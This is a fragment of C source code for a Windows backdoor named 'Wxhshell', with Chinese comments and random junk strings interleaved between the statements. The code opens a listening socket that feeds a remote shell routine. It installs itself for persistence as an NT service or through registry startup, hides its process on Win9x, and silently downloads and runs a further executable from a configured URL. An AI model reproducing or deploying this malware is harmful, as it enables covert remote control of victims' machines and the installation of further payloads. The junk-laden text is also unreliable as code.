CloseHandle(hProcess); yBD2 h3;o!FF hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >b!X&JU if(hProcess==NULL) return 0; CL@h!h554_ bsk=9K2_2t HMODULE hMod; 5shu76 char procName[255]; _ \y0 mc4 unsigned long cbNeeded; !>Qc2&ZV _w5~/PbWt if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PhI6dB` *3etxnQc CloseHandle(hProcess); u8k{N 5{d9,$%8& if(strstr(procName,"services")) return 1; // 以服务启动 l3Bxi1k[C [K4+G]6 return 0; // 注册表启动 0Z);.l^ } x[O#(^q :z0>H5 // 主模块 r~D~7MNl int StartWxhshell(LPSTR lpCmdLine) R{OE{8; { :hhE=A>X SOCKET wsl; ~=AKX(Q BOOL val=TRUE; S'-`\%@7 int port=0; yzM+28}L<I struct sockaddr_in door; eE.5zXU3R KZ<RDXV T if(wscfg.ws_autoins) Install(); )T};Q: mP$G9R port=atoi(lpCmdLine); Jr>S/]" U3j~}H.D1 if(port<=0) port=wscfg.ws_port; gHh.|PysW D`~{[cv)\ WSADATA data; iP?ASqo{ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5q_OuZ/6 EDidg"0p if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~ Dp:j*H setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,M/#Q6P0} door.sin_family = AF_INET; va/4q+1GfH door.sin_addr.s_addr = inet_addr("127.0.0.1"); MkNURy>n& door.sin_port = htons(port); j'40>Ct=i <Ec)m69P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Va
|9)m closesocket(wsl); kW2nrkF return 1; K%TKQ<R| } <
8 Y<w|Hh n-b<vEZw# if(listen(wsl,2) == INVALID_SOCKET) { P7k$^n closesocket(wsl); k@";i4}A return 1; Rn~Xu)@e } ME10dr Wxhshell(wsl); yDkDtO`K WSACleanup(); 61rh\<bn *"QE1Fum' return 0; >5@vY?QXO })0 7u } PSQ:' `)C`_g3Ew // 以NT服务方式启动 CpqSn/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $-9@ /%Y { S.F=$z.% DWORD status = 0; (jE:Q2" DWORD specificError = 0xfffffff; wh m tEY -^jLU
FC serviceStatus.dwServiceType = SERVICE_WIN32; 1DlcO>#@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; V-ouIqnI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ExP25T serviceStatus.dwWin32ExitCode = 0; j]l}K*8( serviceStatus.dwServiceSpecificExitCode = 0; Fee WZe0i serviceStatus.dwCheckPoint = 0; 4d._Hd=' serviceStatus.dwWaitHint = 0; 6[|< ,f0g|5yDf hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); //u76nQ if (hServiceStatusHandle==0) return; 7(g&z% |UDD/e status = GetLastError(); X>GY*XU if (status!=NO_ERROR) +j: Ld( { _t;VE06Xjs serviceStatus.dwCurrentState = SERVICE_STOPPED; V =aoB
Z serviceStatus.dwCheckPoint = 0; Y7V&zF{ serviceStatus.dwWaitHint = 0; [`-O-?= serviceStatus.dwWin32ExitCode = status; 8!%"/*P$ serviceStatus.dwServiceSpecificExitCode = specificError; ~W *j^+T" SetServiceStatus(hServiceStatusHandle, &serviceStatus); O9=H
[b return; p,u<gJUL } KIBZQ.uG c)!s[o L serviceStatus.dwCurrentState = SERVICE_RUNNING; %3+hz$E serviceStatus.dwCheckPoint = 0; 2d;xAX ] serviceStatus.dwWaitHint = 0; ^}7t: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7RFkHME } IS
9q 5/] ~5!TV,>ls // 处理NT服务事件,比如:启动、停止 f<sPh>n
VOID WINAPI NTServiceHandler(DWORD fdwControl) d<'Yt|zt { @gjdyz switch(fdwControl) 8Gg/M%wq9U { G{Enh<V case SERVICE_CONTROL_STOP: DD$Pr&~= serviceStatus.dwWin32ExitCode = 0; 27 TZ+? serviceStatus.dwCurrentState = SERVICE_STOPPED; y^46z(I serviceStatus.dwCheckPoint = 0; 3R:i*8C serviceStatus.dwWaitHint = 0; <.(/#=2 { z slEUTj) SetServiceStatus(hServiceStatusHandle, &serviceStatus); u&_U
CJCf } @OY-(cW return; 0\ w[_H case SERVICE_CONTROL_PAUSE: J+NK+,_*M serviceStatus.dwCurrentState = SERVICE_PAUSED; Ry S{@=si break; @d^h/w case SERVICE_CONTROL_CONTINUE: gI5nWEM0{ serviceStatus.dwCurrentState = SERVICE_RUNNING; Q!e0Vb break; 49fq6ZhO case SERVICE_CONTROL_INTERROGATE:
<m:wuNEM break; M*6@1.n }; NP'DuzC SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4"(zi5`e } O Lup`~ G( \1{"! // 标准应用程序主函数 }~'Wz*Gm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "}+/0$F { ;L%~c4`l~m vGHYB1=~ // 获取操作系统版本 T>%ny\?tHW OsIsNt=GetOsVer(); JsEEAM:w GetModuleFileName(NULL,ExeFile,MAX_PATH); b e%*0lr VX[!Vh // 从命令行安装 X@q1;J if(strpbrk(lpCmdLine,"iI")) Install(); Lbp6I0&n k[) @I;m // 下载执行文件 E(LE*J if(wscfg.ws_downexe) { Vot+gCZ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %ys}Q!gR WinExec(wscfg.ws_filenam,SW_HIDE); @5G7bY7Nz } y]4`d ly%B!P| if(!OsIsNt) { i O|,,;_ // 如果时win9x,隐藏进程并且设置为注册表启动 rg/vxTl HideProc(); azc:C StartWxhshell(lpCmdLine); Hbc&.W;g7[ } +##I4vP else NB+O; if(StartFromService()) 2vQ^519 // 以服务方式启动 $QBUnLOek& StartServiceCtrlDispatcher(DispatchTable); z35Rjhj9 else $-fY 8V3[ // 普通方式启动 1 ZFSz{ StartWxhshell(lpCmdLine); "q/M8 AV3,4u return 0; :Ia&,;Gc }
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